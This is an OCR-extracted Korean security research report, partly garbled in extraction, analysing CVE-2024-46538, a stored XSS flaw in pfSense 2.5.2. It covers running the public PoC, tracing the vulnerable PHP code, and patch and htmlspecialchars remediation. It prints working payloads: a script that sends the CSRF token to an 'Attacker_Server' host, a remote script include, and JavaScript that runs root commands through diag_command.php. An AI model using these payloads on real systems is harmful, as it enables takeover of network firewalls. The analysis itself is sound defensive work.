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m 3w Amegof A

CVE-2024-46538 ] FoFg AZES]o] M2 of53 o).

| S/W 72 o b
pfSense v2.5.2

m HAE 2F #d ZE

—

HAE 378 H1%35lo] CVE-2024-46538 ¢ =2+ o4& Ay E ),

o8 e
s R pfSense v2.5.2
(192.168.102.52)
Kali Linux
27%
(192.168.216.131)

m o Ej2E

Step 1. 874 +A

&z PC o pfSense v2.5.2 o|u|X|& AX|slt}. CVE-2024-46538 HIFH HEE FA4&
At Heoksk 374 5 A PHS o] EQSTLab GitHub Repository ol 4] €13 4= Q)

URL: https://github.com/EQSTLab/CVE-2024-46538

> cat /etc/version

F kg pfSense v2.5.2 7} AAH AL ofefob o] AT 5 Ut
2.5.2-RELEASE][root@pfSenze.skshieldus.coml /root: [cat Asetc/verszion

[
5 .Z-RELEASE

23 3. S pfSense T4 el
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Step 2. F YA H2E
CVE-2024-46538 #oFd HZAEE 93t PoC 7} A#&¥ EQSTLab ¢ GitHub Repository

Fat et g,
URL: https://github.com/EQSTLab/CVE-2024-46538

FAZ PC oAl git clone WH]E A&3sle] CVE-2024-46538 A &FA¢ PoC =
o2 =3k

/home/kali
: clone https://github.com/EQ5TLab/CVE-2024-46538.g11
Cloning into 'CVE-2024-46538'
remote: Enumerating objects:

remote: Counting objects: 1@ [

remote: Compressing objects: 186 ) i

remote: Total 35 (delta 7) z a pack-reused @ (from @)
Receiving ob) ;1@ 35/35) | 13.42 MiB/s, done.

a9 4. CVE-2024-46538 PoC T2 2Z&

2= we poC 3 CVE-2024-46538.py = Aadg 4= lom FZAx PC of A
A&t o2 =7} F k9] pfSense oAl A &% o},
| $ python3 CVE-2024-46538.py -u [pfSense F2] —i [pfSense ID] —p [pfSense THAIE] —c [MAWE FHOY) ‘

g AL HoFst HH pfSense & ARESH= AW (https://192.168.102.52)7F F-F 5] o]
oo, A AA 2o tester(ID)/1g2w3edr!@(password) AR T3 Ex3c}. tester
Ao = 3 of Al~®l WHo] Nid & A3t H, o]E F"Hle= oF9Ad XSS pay-

<
load & Alets WE2 v v

‘ $ python3 CVE-2024-46538.py —u 192.168.102.52 —i tester —p 1q2w3edr!@ -c id ‘

g PoC A3 AWMNEZS ofefo} o] &A= PColAM ¥ gt

/home/kali/CVE-2024-46538
CVE-2024-46538.py -u 192.168.182.52 -1 r -p 1q2w3e4rh!

3% 5. PoC A3 AWE oA
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o] % #EAH(admin) AP O 2 interfaces_groups.php & 8t Th22F Zo] “id> W A3
A3} 28HE= AS g9 = 9

Cc © Not e | hBEps//192.168.102.52/interfaces_groups.php & Incognito Relaunch to update

flisense 192.168.102.52 says

COMMUNITY EDITION

uid=0(root) gid=0(wheel) groups=0(wheel)-s——

Interfaces / |

Interface Assignments = =i g “GIFs  Bridges

LAGGs
Interface Groups
Name Members Description Actions
Mendoza wan EQST_Lab_Pfsense_test _-?‘ ﬁﬁ

== Add

a3 6. 99 BE 43 A3 g9
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Hepg A BAAE CVE-2024-46538 Aol HAstE el 2 9o BF YA
Hopd g =AM oz APk Step 1 AL XSS Fokd B4 ol FE ATk Step
2 ol XSS ol CSRF ¢ #eia 2& 7152 AAlstel o B Ade] Fsd o2
A g

Step 1. pfSense XSS # %H (CVE-2024-46538)

1) XSS(Cross-Site Scripting) 3 %4

XSS(Cross-Site Scripting) FeFde FZAA7F JH3e ~3H = =

FHokgo=, ARG 4™ Ftel disk AFeo] vEstAY =9 Al ZHY HA 2S AF
j

SR ) @ E A S A8 A0 B, 1Y AR AR RE S A
EEERIE
2) A AA 24
pfSense W XSS 42> members WMol ik A4 gk HFo] AR o] FolA A o}
WA E T interfaces_groups_edit.php % I AYE ¥4 S configlib.ine, inter—
faces_groups.php & AA= &<t HEel 49 @ AFo] flof Aol A 2= wEHoh
infosed
2HIEHY o LT EECE I 27224y
—— | T — | T —— e ————)
QIE|Ho|A O& §5 XML ok Mz QIE|Ho|A O & B £
interfaces_groups_edit.php config.lib.inc interfaces_groups.php

a9 7. A} AR 34 3

ojnt
H

(1) /usr/local/www/interfaces_groups_edit.php

AT A=EQIECM= POST 84do= AgA o7 @S etk o714 members
e EE dolErt A& Al Z= W members WO Y array ¢l WS4E implode
g ol str o= WS FH 4™ s AXet HE: dYHE A F3EE QA

Ol—q,.
if (isset($_POST['members'])) {

$members = implode(” ", $_POST[ 'members’]);
} else {

$members = "";

%Y 8. members W4 A2l 48 3% AR
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members W ifgroupentry 49 ‘members’ 7)ol dEEl= o= A FAE T}

if (!$input_errors) {
$ifgroupentry = array();
[$ifgroupentry[ 'members’] = $members;|
$ifgroupentry[ ‘descr’'] = $ POST[ "descr’];

a9 9. ifgroupentry ¥4 members ¥ F A%

o] % a_ifgroupsdl A% ifgroupentry W 3ks A%star, A4 #S config.xml Ho|H=
A5k write_configs A st}
// Create new group
} else {

$ifgroupentry[ ifname’] = $ POST['ifname’];
fa_ifgroups[] = $ifgroupentry;

}

write config(“Interface Group added");
interface group setup($ifgroupentry);

header("Location: interfaces_groups.php"”);
exit:

a9 10. a_ifgroups WS ifgroupentry & A7 ¥ configgt A

olw a_ifgroups WE configl‘ifgroups’][‘ifgroupentry’ 12l 3% w3k J o]t} a_ifgroups
Mol W7 ARgroe] QIO configlifgroups’][‘ifgroupentry’] k= 7 WA HEAC Fx
Hrs &E W Sholl 2o Mol Jhssith. A=, alifgroups o @939 @& con-
fig[‘ifgroups’1[‘ifgroupentry’] #t3} &3}t

init config arr{array('ifgroups’, 'ifgroupentry'));
|$a_i$grnup5 = E$conFig['ifgrﬂupS']['i{groupentry'];|
$id = $ REQUEST["id'];

13 11. config AFE FZFFQ a_ifgroups ¥F

3 2z "t (Returning References): 71%-4<l gt A3 da), A87F A4d T F422 Adsh= 4.
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(2) /etc/inc/config.lib.inc
configllib.inc & A4 #S TeEsts 52 FAE AU} write_config e Al AE
AR s AFeE 9eS b ¢4, $config WM7F dump_xml_config 34E S&] XML
Aoz AQpAdarct

/* generate configuration XML */

$xmlcontig = dump_xml config(%config, $g[ xml_rootobj']);

a3 12. XML 3oz 74

config ol &F¥ ko] th&3} o] XML +Z2Z ATAEE AL g = Q).
__c5rf_magic:sid%3ﬁb?43c¢fcdh2141b93d16da9B69B8ec2d3b?dc84@%2(1?3@?936?B&ifname:dddd&de5cr=asd&hembers%SB%SD:EQSTtestﬂ

{::} & = | search

Fsponse

rethy Raw Hex Render

<members>
wan
</membersy
<descr>
<I[CDATA[asd]]>
<fdescr>
<ifname>
asdddd
</ifname>
</ifgroupentry>
<ifgroupentry>
<members>

¢/members>

I3 13. XML F2lo= 79 4A

T4E XML &2 & ofe #8S &3l /cf/conf/config.xml el 7=t
[2.5.2-RELEASE ]l [rootepfSense.skshieldus . comlretcsinc: cat scfrsconfrsconfig.xml
qrep EQSTtest

| <members>EljSTtest { members> i
% 14. /cf/conf/config.xml L AF

A2 config.xml HolE &= 7]E9 array o2 THA] 9Jo] config WSrol] A &3kt},

/* re-read configuration */

/* NOTE: We assume that the file can be parsed since we wrote it. */

[$config = parse_xml_config("{$g[ ' conf_path']}/config.xml"”, $g['xml_rootobj']}; |

19 15. config.xml ¥ config ¥WFd A%

* XML(eXtensible Markup Language): Hol8 A% 2 A% 98 uetd 84 vpag] <o

EQST insight | 8



(3) /usr/local/www/interfaces_groups.php
interfaces_groups.php = A&¥ <QEHHAO| A~ IF HEE sto] YER= o] Xt XSS
F ko] ¥AE= memberses WS 93 3gS v Eoh

init config arr(array('ifgroups’, "ifgroupentry'));
|$a ifgroups = &bconfig|'ifgroups’][ ' ifgroupentry’];]| o

<?php foreach (%a ifgroups as $i =» $ifgroupentry):

[gmembers arr = explode(” ", $ifgroupentry| 'membars']);] e

ISmemberses = implode(", ", Smemberses arr); |o

o lecho $memberses; |

@ a_ifgroupsol] FZ WEEMA config Aol AFE Ao~ 15 FAHE AH3)
@ strd?l ifgroupentry W49 members 7)o |33= S arrayF o ®2 A3
@ 4o A o]F, 2¥o A WES FhS T strP o= A3,

@ 3HAA strygoz Wt ghs FHo|Xo] Fg g

9 =9 Aol W W3l HAHL EA5HA] &=t} wEbA, (1) /src/usr/local/www/in-
terfaces_groups_edit.php °A A3 members HW&tH|E]7} a2 & HTE JavaScript
2AYHEE ofgle} o] Ajdstd AdE = S EAe

Interfaces ~

Rlisense

192.168.102.52 Lj8:

192.168.102.52

Interfaces / Interface Groups / Eg

Interface Group Configuration

Group Name EQSTtest

Group Description EQSTtest
A group description may be entered re for administrative reference (not parsed)

i

Group M

A Fo] 2~ 1F 4 Aste] A¥ FA= JavaScript BILE AUYT F ASS & F AUtk

EQST insight | 9



Step 2. 9A &3

1) CSRF(Cross—-Site Request Forgery)

CSRF+= ) FHekd F49 stu=z, FAA7F B AREAFe] AgkS o] &3l #pAlo] o w3t
TS Aol QA SIESE fFEshe WA ot ARERE e digh HHAdst HS Al gl
A5, AdAQd e 9 24E oS ek XE dAsit 53], A9 AR dgkS
a2 ARgsitE HodlA Agk 3ol wek I&) HerE debd ¢ Sl

pfSense® A%, CSRF &Zo] w3t oz CSRF Tokend &3} JavaScript csrf-
MagicToken W0 A&t} 12y} CSRF Tokend XSS FHoFdo| & A9, ol &2
otojx ~gHES el @FH 7 7hs s

<svg/onload=location="https://Attacker_Server?token="+csrfMagicToken>

A Askel 547 ¢ 23 HEY 499 interfaces_groups.phpel]l Hshd thg3p 7o)
CSRF Tokens €33 4 Ut}

Group Membere <svg/onload=location. href="https:// 2
LAN
NOTE: Hules for WAN type interf in groups do not contain the reply-to mechanism

upon which Multi-WAN typically relies. More Information

client ip:
p headers {14}
method: GET
path: /
wquery {1}
token: sid:c176a961312a0bc8e27d3317a6d96d853c302068,1738867363
url: https:// :/ oken=5id: c176a961312a9hc8e27d3317a6d96d853c392068, 1736867363

a9 17. & A CSRF Token 23

2) pfSense Command Prompt
pfSenseo| A #HE]x AL 71A FA4= oFg el o] Command Prompt H7E E3] PHP
F= 9 o] 9ol WHS ¢ Ao oA HPE 4 Qi

msense Systemn Interf; Services Status Diagnostics ~

COMMUNITY EDITION

ARP Table
Diagnostics / Command Prompt Authent|cation 2]

Backup &Restore

Advanced Users Only

The capabilities offered here can be dangerous. No support is available. Use them at your own risk! DNS Lookup
Edit File
ractoryeroats
| Command | Halt System

Limiter Info
E n OCiear
NOP Table

% 18. Command Prompt =¥

EQST insight | 10



Command Promptoll Al ¢ H#HS 2388 uwj diag_command.phpol] o}2f e} Zo] CSRF To-
ken¥} 7 94& BUA Hr}

Request

Pretty Raw Hex

24 | Content-Disposition: form-data; name="__csrf_magic”

26 | sid: Bced651aa3c8d311bfhb5a371a47aa6c8497b22¢, 1730860065
27 | -—----- WebKitFormBoundaryTXT540501BKc9420
28 | Content-Disposition: form-data; name="txtCommand"

—————— WebKitFormBoundaryTXT54D501BKc0420
Content-Disposition: form-data; name="txtRecallBuffer”

1s

35 | ------ WebKitFormBoundaryTXT540501BKc9420
36 | Content-Disposition: form-data; name="submit™
38 | EXEC

(:) {::} & ||| | search

Response

Pretty Raw Hex Render
327 <div class="panel-body">
328 <div class="content">
329 <prey

android-chrome-192x192.png
android-chrome-512x512.png
apple-touch
bandwidth_by_ip.php
browserconfig.xml

classes

crash reporter.oho

29 19. Command Prompt 2%

L G

C]=—

FormData fetch&2 DOMParser2
A v+ Data X k=g [J]=)

ol oc ES
A SH =8

I 20. ¥4 234E 74 #F
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(1) FormData 284 T4
24, Command Prompt 9|4 873l FJgin|gEL t&a g},

__csrf_magic CSRF &4 2t0] Moz Z-85k= CSRF Token
txtCommand oM HET HHO
txtRecallBuffer o HED HHOE XESt= Buffer
submit 22X SXZ HA|, DOWNLOAD, UPLOAD, EXEC, EXECPHP & dfL}
dIPath oY CHREE A CHREES OtYo| 42
ulfile oY UEE Al gEee oy % o e
txtPHPCommand PHP 2 Adligt 3L
JavaScript 9] FormData AAE &&3td HTML Hl1E ¥4 2YdE form B2 8HS
BUE A7 b= A4 9wE 5 9ok 2 389 = formData.append® 3 #S F71E 5
ATt dE E9, %101]/\1 1d\ /\E18£ 284S WwE7] 98l CSRF Tokens X&sl 939 Z+

stebu) e FA JavaScript = A= oot gt

var formData = new FormData(),
formData.append("__csrf_magic", csrfMagicToken);
-For‘mData.appendE "txtCommand", "1d")'

)
formData.append "txtRecallBuffer‘", "id");
formData.append("submit", "EXEC");
formData.appendE"leath" ")
formData.append("ulfile", new Blob(), "");
formData.append("txtPHPCommand", "");

(2) "oy 83 R %

o3 e 8Me M fetch 42 BT 4 gtk

let promise = fetch(url, {
method: "GET", // POST, PUT, DELETE, etc.
headers: {
// the content type header value is usually auto-set
// depending on the request body
"Content-Type": "text/plain;charset=UTF-8"

s

body: undefined, // string, FormData, Blob, BufferSource, or URLSearchParams

referrer: "about:client", // or "" to send no Referer header,

// or an url from the current origin

referrerPolicy: "strict-origin-when-cross-origin", // no-referrer-when-downgrade,
no-referrer, origin, same-origin...

mode: "cors", // same-origin, no-cors

credentials: "same-origin", // omit, include

cache: "default", // no-store, reload, no-cache, force-cache, or only-if-cached

redirect: "follow", // manual, error

integrity: "", // a hash, like "sha256-abcdef1234567890"

keepalive: false, // true

signal: undefined, // AbortController to abort request

window: window // null

s

EQST insight | 12



7zt gejulElE POST 8o =2 HWl ¥ 39 wolop s17] wjZo] th53 o] JavaScript
aeg 748 5+ ok
fetch("/diag_command.php", {

method: "POST",

body: formData
}).then(response => response.text()).then(data => console.log(data))

rlo

AY =agest dgd H EY g

iy

e el tot A Sy

o FLolsl 2
e ERlg 4 Q.

J

fetchi " /diag_conmand. php”, {
method: “POST",
body: formbata
Fithen(response =+ response.text()).then{data =» console. log{datal)

v Pramies {<osndings} +

<IDOCTYPE html=
<html lang="en":
<head:>
<meta name="viewport” content="width=device-width, initial-scale=1"»

J'\.

<link rel="apple-touch-icon-precomposed” href="/apple-touchs/app le-touch-icon-iphone-B0x60-precomposed
2link rel="apple-touch-icon-precomposed” sizes="60x60" href="/apple-touchs/app|e-touch-icon-ipad-76x76
<link rel="apple-touch-icon-precomposed” sizes="114x114" href="/apple-touch/apple-touch-icon-iphone-r
<link rel="apple-touch-icon-precomposed” sizes="144x144" href="/apple-touch/apple-touch-icon-ipad-ret
<link rel="icon” type="imagespna” sizes="32w32" href="/favicon-32%32.png =

Z<link rel="icon” type="imagespna” sizes="16x16" href="/favicon-16=16.png >

<link rel="manifest” href="/manifest.json">

<link rel="mask-icon” href="/safari-pinned-tab.svwg” color="#5bbad5":

<meta_name="theme-color” confent="g#f{f{ff">

a3 21. fetch ¥4 49 A3

fetch 3= W& IS HTML BlIZ= FA4H Qlo] o A= dolrny] A &rh
kA, HolHE HA FE8= #HAHol Fasty, o= DOMParser® 83l £33 4
At} div Bl W class 49 contentE FE3E A Z=E v Ao}

fetch("/diag_command.php", {
method: "POST",
body: formData
}).then(response => re - sponse.text()).then(data => {
const parser = new DOMParser();
const doc = par - ser.parseFromString(data, "text/html");
const contentDiv = doc.querySelector("div.content");})

oSy o] AA wWuEo] A3 A= class £A ghko]l content?l div Bl W 9 X5}
WEe] 9 ZEE ST Ak
zdiv class="panel panel-success responsive’:
<div class="panel-heading =<k clagss="panel-title"=3hell Output - id</h2=</div=
<div class="pane|-body ">
<div class="content "=
sprecuid=00root) gid=0{whee1) groups=0{wheel )< /pre= <fdiye
< dive
240 y=

a9 22.div Bl W XS EHo 49 24

EQST insight | 13



[=a ﬂ]ﬂ—ﬂﬂ(mmdebgééaa%%%%ﬂ%‘}%ﬂ%blﬂ%ﬂ}E?ﬂ(mmMe
ol 1“& ol 7}53te).

ix [0 Elements Console Sources MNetwork Performance Mermaory Application Secy

@ tpr @

Fithen(response == regponse.text()). then(data == {
const parser = new O0MParser ().
const doc = parsef. parseFromString(data, “text html ")
const contentDiv®F doc.querySelector("div.content ™)
fconzole. logicontentliv, textLontent )

Filter

rli

<« b Pramies {<oarding)}

fuid=0({root ) gid=0{whee!} groups=0{whes|}

a9 23. console AT A& & &= &9 3}

TS Sl vhet o] AdE EHY Wi alert S ¥ AHoE AT U

if (contentDiv) {
alert(contentDiv.textContent);
} else {
alert("No content found");

A2 A Al CidD WHS Adsta, 1 ZA3E alert o2 9= JavaScript ZEE

T/dshd vt g

var formData = new FormData();

formData.appendg csrf maglc", csrfMaglcTo - ken);
formData.append("txtCommand", "id");
formData.append(" txtRecallBufFer", "id");
formData.appendg "submit” "EXEC"),

formData.append("dlPath" );
formData.append("ulfile", new Blob(), ")
formData.append("txtPHPCommand", "");

fetch("/diag_command.php", {
method: "POST",
body: formData
}).then(response => response.text()).then(data => {
const parser = new DOMParser();
const doc = par - ser.parseFromString(data, "text/html");
const contentDiv = doc.querySelector("div.content");
if (contentDiv) {
alert(contentDiv.textContent);
} else {
alert("No content found");

}

EQST insight | 14
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ﬁsense 192.168.102.52 L} 2:

COMMUNITY EDITION

uid=0(root) gid=0{wheel) groups=0(wheel}— -«

Status/ Das

+ 0

@ DevTools is now available in Korean! | Always match ChMine’s language Switch DevTools to Korean Don't show again
is LD Elements  Console  Sources  Metworkf Performance  Memory  Application  Security Lighthouse . > AT50 B743 893 8
M @ topvy @& Y Filter Default levels v = 743 lssues: B 743 |

svar formlata = new Formlatal):
fornbata.append( " __csrf_magic’, csrfMagicToken);
fornData, append! " txtCommand”, "id");
formbata.append( “txtRecal IBuffer”, "id"):
fornData. append] “submit”, "EXEC");
formData.append( “dIPath”, ""J:
fornData, append( "ulfi1e”, new Blob(), "'
fornData. append] "txtPHPCommand”, ")
fetch("/diag_command.php”, {
method: "POST",
body: formData
F1.then{response == response.text()).then(data =» 4
const parser = new DOMParser();
const doc = parser.parseFromStringidata, “text himl™):
const contentDiv = doc.querySelector( div.content”);
it (contentOiv) o
alerticontentDiv. textContent);
belse |
alert({"MNo content found”):

a7 24, id> A3 A3 alert Fo2 &Y

(3) &4 AW T4 H T4 2AHE 44

P

interface_groups_edit.php 14 members W% ofe|9} #o] whitespace(” ) 7|50 2 ex-

plode 47} A3t} o]F Z+ & AF comma+ whitespace(”, ”) 7|52 % implode 57}
A8 w 7] wfFol 91¢]9] JavaScript ZEZS Wi AL A7 vk

FEL = B T =
[Emembers arr = explode( , Sifgroupentry[ ‘members’']);|
= i v =
[$memberses = implode(", ", $memberses arr); |
echo $memberses;
1% 25. members ¥F ¥ 2R
37 LS Alolg] L= “w o« 2] 3 AR o] ~gBlE Al
A s AdsidEs T L R Ao ARHQl AAHE 3] ofHrh
< [0  Elements Console Sources Network  Performance  Memory  Application  Security Lighthouse  Recorder DOM Invader
¥ <scripts
var, formData, =, new, FormData():fornData.append(”__csrf _magic”,, csriMagicToken):formData.appendi”txtComnand”,, “id");formData.append(“txtRecal |Buffer”,,
"id"):fornData.append(“submit”,, "EXEC"):formData.append("diPath”., "");formData.append{ ulfile”,, new, Blob(),. ""):fornData.append("t=tPHPConmand”,, "").fetchi"/diag_command.php”,
{method:, "POST".body:, formData}) then(response, =». response.text()).then{data, =», {const, parser, =, new, DOMParser():const, doc, =, parser.parseFromStringidata..
“tewt/html ") const, contentDiv, =, doc.querySelector('div.content”):if, (contentDiv), {alert{contentDiv.textContent):}, else, {alert{"No, content, found”) 4D
adscripts

html  body#w32  <l—>
Console
I @ tpy @ Y Filter
DOM Invader is NOT enabled.

@ 4 opreload for '<URL>" is foundgebut |s not used because the reauest credentials mode does mot match. Consider taking a look at crossorigin attribute,

@ Uncaught SyntaxError: Unexpected token ', ]

a3 26. A9E TES 9 A3 24
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webA, 34 JavaScript ZEE REgel= o AWE FAGtA, olE €83 4 Atk o
7+o] whitespace $lo] sk HTML Bl 2X 9 F oA &7 JavaScript T2 &
o F= FA A FolEA drh

‘ <script/src="https://Attacker_Server/mal.js'></script>

o] %, (2) "Hiolg 84 2 SFoA FAAS ZEE HIESIE S AHE At floA A
HTML g5 Agstd #dx @S 713 A& A interfaces_groups.php A A th&X
2ol o] o] A= AL AT 5 AT}

msense System ~ Interfaces =

COMMUNITY EDITION

192.168.102.52 L} &:

uid=0(root} gid=0(wheel) groups=0(wheel) =«

Interfaces / Interface Groups / Eq

Interface Group Configuration

EQSTtest

Only letters (A-Z), digits (0-9) and ' are allgfved. The group name cannot end with a
digit

Group Name

Group Description EQSTtest

A group description may be enteréd here for administrative reference (not parsed).
Group Members t:chrptfsrcF https:// e
NOTE: Ruls for Wi type interfaces in groups do not contain the reply-to mechanism

FWAN typically relies. More Information

a9 27. 949 B8 48 4

CVE-2024-46538 o] &7/M% 7] A, zhao mouren ©°|&t= FA7} sid XSS FHeFol| tjsf
o ygs gl 4 Q.
*URL: https://redmine.pfsense.org/issues/15778

A& o]5 whol] o] FojH i, AxmE WA WIS offolM 2l 7}s st
+URL: https://github.com/pfsense/pfsense/com-
mit/9a843098cf3{28¢c27¢c3e615c4c788c84bd29df6f

A H o~ 15 7‘4E% H o]+ interfaces_groups.php €2 oz} Zo] HTML <lEE
A F FHHES A=7F FAHHATH
unset[ilfllst];
fmemberses = implode(", ", $memberses_arr);
echo fmemberses;
echo htmlspecialchars(imemberses);
if (count($members_arr) »= 18) {

echo '&hellip;";

1% 28. interfaces_groups.php &3 A}3t
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ClEjdlol~ IF ARE 4 % F7}8+= interfaces_groups_edit.php 33L& olge} 7o)
YH¥ members W7l Fa&d QA Fo]Ad Aot FUHE F URE AT AABS
7kt

fvalidmembers = [];
foreach (% _POST['members'] as %ifname) {
if (array_key_exists(%ifname, $interface_list)) {
$validmembers[] = $ifname;
T else {
$input_errors[] = gettext("Submission contained an invalid interface");
T
¥

if (isset(%_POST[ 'members'])) {

fmembers = implode{"™ ", %_POST['members']};
if (lempty($validmembers)) {

fmembers = implode(" ", %validmembers);
} else {

Emembers = "";

bi

23 29. interfaces_groups_edit.php 3 A3

=i

okst W #(2.5.2)0] o pfSenseE AMgsh= Aol 7HF bk ®wboloh, FHeksk WA
AF-g-o] %7}«4'5WF 7:‘%11}“4 pfSenseJ Patch 7S B ZE FA 7 =
5 5 o

1) pfSense Patch 7] 52 3 9%
2328, 3G 299 ol 54 gL Jwow )
System > Patches > Add New Patch & 7 <3kt}.

-sense System ~ Interfaces « Firewall

COMMUNITY EDITION

Advanced
SyStEm / Cert. Manager e
General Setup

High Avail. Sync

Logout (admin}
Package Manager

Routing Auto
Fetich Apply Revert View Debug Apply Actions

Custom Sys
Dasa Setup Wizard

User Manager

Recommended System Patches for Netgate pfSense® software version 2.5.2

I 30. 3 W9 79 #X1

©]% URL/Commit ID 350l FHeFdo] 2XH AAFIE W do] T3l T4
https://github.com/pfsense/pfsense/com-
mit/9a843098cf3f28¢c27c3e615c4c788¢c84bd29df6fE ¢ & 3l
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E‘S@nse nterfaces Firewall ~

COMMUNITY EDITION

System / Patches/ Edit e
Description

Enter a description here for reference

URL/Commit ID https://github com/pfsense/pfsense/commit/9a843098cf3f28c27c3et |

Enter a URL to a patch, or 8 commit ID from the main github repasitory (NOT the tools or packages repos!)

I 31. 3 W9 79 #X2

thuk, oldel WA WA7EH] wbgEo A vyl sjA7E FEgHom o] FofXA] o}
7HEA e AlZE B g glol axFEeA A SE dA] sk As AR

2) 2235 AH FHE T A

pfSense = PHP #74 o= 45 o] glth PHP 9] A, S4E4E HTML Entity & A $35}=
htmlspecialchars 32 XSS 43S Wold 4 Qth. Y 55 XSS F4d ARgE =
g2 e 5FEAES HTML Entity 2 %] 83ttt

=Xt Entity

& &amp;
" &quot;
! &apos;
< alt;

> agt;

interfaces_groups.php ©| memberses & <93}

Ao RE 4 ~AAHE A4S e 5 gk
echo $memberses ;}——lecho htmlspecialchars($memberses) ;|
a7 32, HTML Entity X3t ¢ A]

o HTML Entity = X33k

rir
—z

EQST insight | 18



htmlspecialchars &= <13te] < >7F 242 &lt;, &gt X 3HE 7] wjFo oldjet o]
2AYHE Hart AYEA e

msense Systemn ~ Interfaces -

Firewall ~

S 5 VPN Status ~ Dia
COMMUNITY EDITION

Interfaces / Interface Groups

E il 0
Interface Assignments Interface Groups Wireless VLANs QinQs PPPs GREs GiIFs Bridges LAGGSs
—
Interface Groups
Name Members Description Actions
| EQSTtest <script/src= 2.js'=</script= EQSTtest y‘ﬁ |

3% 33. 23 23 9ES AYPHR g=

ol o] QIEHo] 2~ IFe] 8y E  UE do|XoA 34 ~FHEYL AdE 7hsAdol
7] wjitol HdSk wx] WIS oyt Folut} 2024 119 7], pfSense 2.5.2% &2
AP oA ZForz AEFHA| e AS HAS

« URL: https://docs.netgate.com/pfsense/en/latest/releases/versions.html
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[=]

» Wikipedia (FreeBSD) : https://en.wikipedia.org/wiki/FreeBSD

« pfSense (About pfSense) : https://www.pfsense.org/about-pfsense/

« php.net (Returning References) : https://www.php.net/references.return

« php.net (htmlspecialchars) : https://www.php.net/manual/en/function.htmlispecialchars.php

« PortSwigger (XSS) : https://portswigger.net/web-security/cross-site-scripting

« PortSwigger (CSRF) : https://portswigger.net/web-security/csrf

» EQST Insight Special Report (CSRF) : https://www.skshieldus.com/download/files/down-
load.do?0_fname=EQST%20insight_Special%20Report_202301.pdf&r_fname=20230113172545386.pdf
« EQST Insight Special Report (XSS) : https://www.skshieldus.com/download/files/down-
load.do?0_fname=EQST%?20in-
sight_%ED%86%B5%ED%95%A9%EB%B3%B8_202210.pdf&r_fname=20221017112014953.pdf

» Netgate Docs (Versions of pfSense oftware and FreeBSD : https://docs.netgate.com/pfsense/en/lat-
est/releases/versions.html#pfsense-ce-software

» Netgate Docs (Versions of pfSense oftware and FreeBSD : https://docs.netgate.com/pfsense/en/latest/re-

leases/versions.html#pfsense-ce-software

« pfSense issues # 15778 : https://redmine.pfsense.org/issues/15778
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